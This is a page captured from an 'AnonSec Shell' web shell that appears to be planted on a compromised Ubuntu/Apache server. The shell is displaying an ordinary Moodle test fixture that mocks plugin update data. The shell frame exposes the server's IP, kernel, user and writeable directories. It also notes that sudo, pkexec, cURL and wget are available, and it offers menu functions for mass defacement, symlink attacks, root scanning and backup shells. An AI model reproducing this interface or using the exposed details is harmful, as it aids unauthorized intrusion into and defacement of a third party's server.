AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/lib/tests/fixtures/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/lib/tests/fixtures/testable_plugin_manager.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Provides testable_core_plugin_manager class.
 *
 * @package     core
 * @category    test
 * @copyright   2015 David Mudrak <david@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

require_once(__DIR__.'/testable_update_api.php');

/**
 * Testable variant of the core_plugin_manager
 *
 * @copyright 2015 David Mudrak <david@moodle.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class testable_core_plugin_manager extends core_plugin_manager {

    /** @var testable_core_plugin_manager holds the singleton instance */
    protected static $singletoninstance;

    /**
     * Allows us to inject items directly into the plugins info tree.
     *
     * Do not forget to call our reset_caches() after using this method to force a new
     * singleton instance.
     *
     * @param string $type plugin type
     * @param string $name plugin name
     * @param \core\plugininfo\base $plugininfo plugin info class
     */
    public function inject_testable_plugininfo($type, $name, \core\plugininfo\base $plugininfo) {

        // Let the parent initialize the ->pluginsinfo tree.
        parent::get_plugins();

        // Inject the additional plugin info.
        $this->pluginsinfo[$type][$name] = $plugininfo;
    }

    /**
     * Returns testable subclass of the client.
     *
     * @return \core\update\testable_api
     */
    protected function get_update_api_client() {
        return \core\update\testable_api::client();
    }

    /**
     * Mockup implementation of loading available updates info.
     *
     * This testable implementation does not actually use
     * {@link \core\update\checker}. Instead, it provides hard-coded list of
     * fictional available updates for our foo_bar plugin.
     *
     * Note there is a difference in the behaviour as the actual update API
     * does not return info of lower version than requested. To mock up well,
     * make sure the injected foo_bar testable plugin info has version lower
     * than the lowest one returned here.
     *
     * @param string $component
     * @return array|null array of \core\update\info objects or null
     */
    public function load_available_updates_for_plugin($component) {

        if ($component === 'foo_bar') {
            $updates = array();

            $updates[] = new \core\update\info($component, array(
                'version' => '2015093000',
                'release' => 'Foo bar 15.09.30 beta',
                'maturity' => MATURITY_BETA,
            ));

            $updates[] = new \core\update\info($component, array(
                'version' => '2015100400',
                'release' => 'Foo bar 15.10.04',
                'maturity' => MATURITY_STABLE,
            ));

            $updates[] = new \core\update\info($component, array(
                'version' => '2015100500',
                'release' => 'Foo bar 15.10.05 beta',
                'maturity' => MATURITY_BETA,
            ));

            return $updates;
        }

        return null;
    }
}

Anon7 - 2022
AnonSec Team